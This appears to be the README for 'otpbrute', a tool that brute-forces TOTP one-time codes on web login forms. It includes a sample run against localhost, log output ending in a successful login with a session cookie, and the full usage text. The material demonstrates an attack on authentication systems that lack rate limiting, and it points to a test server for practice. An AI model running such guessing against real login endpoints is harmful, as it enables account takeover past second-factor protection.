Release
Some example code to show how you could quickly iterate against a TOTP implementation in an authentication flow.
For instance, to attack DoI's authorative
server (assuming TOTP rate limiting is disabled):
$ ./otpbrute --threads 16 http://localhost:8080/login '{"data": {"user": "test", "password": "test", "otp": "%s"}}' "successful"
2021-07-23 16:41:37,158 Starting OTP guessing, press Ctrl+C to stop...
2021-07-23 16:41:37,353 Starting 16 threads...
2021-07-23 16:41:55,479 Made 1600 guesses at ~ 88 guesses per second
2021-07-23 16:41:55,483 We think you'll be logged in after 9300 seconds (2021-07-23 19:16:55.483658), with a probability of 90%!
...
2021-07-23 18:04:47,298 Thread 14 succeeded with the code 632905:
Content-Type: application/json
Set-Cookie: Auth=49c7...; Path=/; Expires=Mon, 23 Aug 2021 06:04:47 GMT
Date: Fri, 23 Jul 2021 06:04:47 GMT
Content-Length: 42
{"status":1, "message":"Login successful"}
For a test server to attack, try https://github.com/pruby/otp-brute-test.
usage: otpbrute [-h] [-X VERB] [-k] [--digits DIGITS] [--threads THREADS] [--grace GRACE] url request match
Quickly and sequentially guess OTP codes for a web login form. Michael Fincham <michael@hotplate.co.nz> 2020-08-09
positional arguments:
url URL where requests should be sent (e.g. https://example.com/)
request JSON-encoded options to pass to the requests library, e.g. "{'data': {'otp': '%s'}", where %s will be replaced by the
generated OTP code in each request - set "data" or "json" keys accordingly for your application
match response (headers and body, but not status line) regex to match on a "valid login", e.g. "^200 OK" or "Set-Cookie", as
applicable to your application
optional arguments:
-h, --help show this help message and exit
-X VERB, --method VERB
request method to use, defaults to POST
-k, --insecure disable TLS validation
--digits DIGITS number of OTP digits, defaults to 6
--threads THREADS number of concurrent request threads to run, defaults to 1 (this will be slow)
--grace GRACE grace windows either side of the current one to use in estimating times, defaults to 1 (e.g. one code before and one code
after the current one)